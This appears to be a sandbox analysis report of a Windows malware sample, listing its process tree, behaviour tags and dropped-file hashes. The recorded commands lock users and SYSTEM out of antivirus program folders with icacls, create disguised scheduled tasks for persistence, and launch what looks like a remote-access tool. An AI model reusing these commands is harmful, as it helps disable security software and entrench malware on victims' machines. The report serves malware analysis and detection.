                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                    PID:4488
                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                      icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                      PID:4840
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:564
                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                        icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                        PID:3608
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3540
                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                          icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          PID:696
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4160
                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                            icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                            PID:792
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3948
                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                              icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              PID:2196
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1820
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:4928
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                              PID:4880
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:660
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                              PID:1512
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:4252
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                              PID:3668
                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:3312
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1600
                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                  icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:4604
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                PID:696
                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                  icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                  PID:1648
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1592
                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    PID:3704
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1480
                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                      icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:2952
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:3852
                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                        PID:4528
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:4120
                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                          icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:972
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:3948
                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                          icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:652
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:132
                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                            icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                            PID:2864
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:2576
                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                            icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                            PID:3240
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2668
                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                              icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                              PID:4020
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:2100
                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                PID:924
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:4536
                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                  PID:752
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1520
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                    icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:2436
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3220
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                      PID:1516
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1584
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                        icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:4020
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                      PID:1968
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                        icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:1440
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1748
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:4076
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                        PID:1996
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                          icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:4032
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:4700
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                            icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:2964
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                          PID:2356
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                            icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:4908
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:2588
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                              icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                              PID:3240
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2524
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                PID:4192
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                              PID:3728
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                              PID:3572
                                                                                                                                                                                                                          • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                            C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                            PID:4100
                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                              C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                              PID:1920
                                                                                                                                                                                                                              • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                PID:4544
                                                                                                                                                                                                                            • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                              C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:5032
                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:4652
                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:1500
                                                                                                                                                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:3468
                                                                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                  PID:1020
                                                                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                  PID:2488
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                  • Modifies system executable filetype association
                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                  PID:2940
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Checks system information in the registry
                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                    PID:1212
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Modifies system executable filetype association
                                                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                                                      • Checks system information in the registry
                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                      PID:2116
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        • Drops desktop.ini file(s)
                                                                                                                                                                                                                                        PID:4336
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                                                                                                                                                                                                                        /updateInstalled /background
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                        • Modifies system executable filetype association
                                                                                                                                                                                                                                        • Checks system information in the registry
                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                        PID:3256
                                                                                                                                                                                                                                • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                  C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  PID:4780

                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                • C:\Program Files\Common Files\System\iediagcmd.exe

                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                                                                                                                                                                • C:\ProgramData\Microsoft\Intel\R8.exe

                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                  887KB

                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                  ad95d98c04a3c080df33ed75ad38870f

                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                  abbb43f7b7c86d7917d4582e47245a40ca3f33c0

                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                  40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd

                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                  964e93aeec90ce5ddaf0f6440afb3ed27523dfcddcdfd4574b62ef32763cb9e167691b33bfc2e7b62a98ff8df2070bf7ae53dafc93a52ed6cbe9c2ca1563c5ed

                                                                                                                                                                                                                                • C:\ProgramData\Microsoft\Intel\taskhost.exe

                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                  3.6MB

                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                  c5ec8996fc800325262f5d066f5d61c9

                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                  95f8e486960d1ddbec88be92ef71cb03a3643291

                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                  892e0afefca9c88d43bdd1beea0f09faadef618af0226e7cd1acdb47e871a0db

                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                  4721692047759aea6cb6e5c6abf72602c356ab826326779e126cda329fa3f7e4c468bdb651bb664cc7638a23fca77bc2d006a3fe0794badc09d6643d738e885a

                                                                                                                                                                                                                                • C:\ProgramData\Microsoft\Intel\winlog.exe

                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                  244KB

                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                  4b2dbc48d42245ef50b975a7831e071c

                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                  3aab9b62004f14171d1f018cf74d2a804d74ef80

                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                  54eda5cc37afb3b725fa2078941b3b93b6aec7b8c61cd83b9b2580263ce54724

                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                  f563e9c6bc521c02490fe66df6cc836e57ec007377efb72259f4a3ae4eb08c4fd43720322982fb211cf8d429874c8795c1a7903cdb79ad92b5174ec5c94533dd

                                                                                                                                                                                                                                • C:\ProgramData\Microsoft\Intel\winlogon.exe

